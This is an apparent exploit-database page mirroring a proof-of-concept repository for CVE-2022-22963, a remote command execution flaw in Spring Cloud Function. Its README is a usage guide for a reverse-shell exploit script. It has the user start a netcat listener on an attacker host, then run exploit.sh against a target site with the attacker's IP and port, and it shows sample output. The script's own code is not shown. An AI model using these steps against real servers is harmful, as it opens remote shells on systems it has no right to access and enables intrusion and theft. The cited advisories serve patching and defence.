CVE-2022-22963 PoC — Spring Framework 代码注入漏洞

Source

Associated Vulnerability

Description

Exploit for CVE-2022-22963 remote command execution in Spring Cloud Function

Readme

# Exploit for RCE in Spring Cloud (CVE 2022-22963)
Exploit for **CVE-2022-22963** remote command execution in Spring Cloud Function

See for details about the vulnerability [**here**](https://www.fastly.com/blog/spring-has-sprung-breaking-down-cve-2022-22963-and-spring4shell-cve-2022) and [**here**](https://spring.io/security/cve-2022-22963)

## PoC

Run the netcat on your host:
``` 
$ nc -lvnp 9001
``` 

Run the exploit (example) with default port **`9001`** on attacker host:
``` 
$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done
```
Run the exploit (example) with the specified port **`1337`** on attacker host:
``` 
$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done
```

File Snapshot

 [4.0K]  /data/pocs/e32632df94978115fc93cd381d00e4581aceb6fc
├── [ 753]  exploit.sh
└── [ 974]  README.md

0 directories, 2 files

Remarks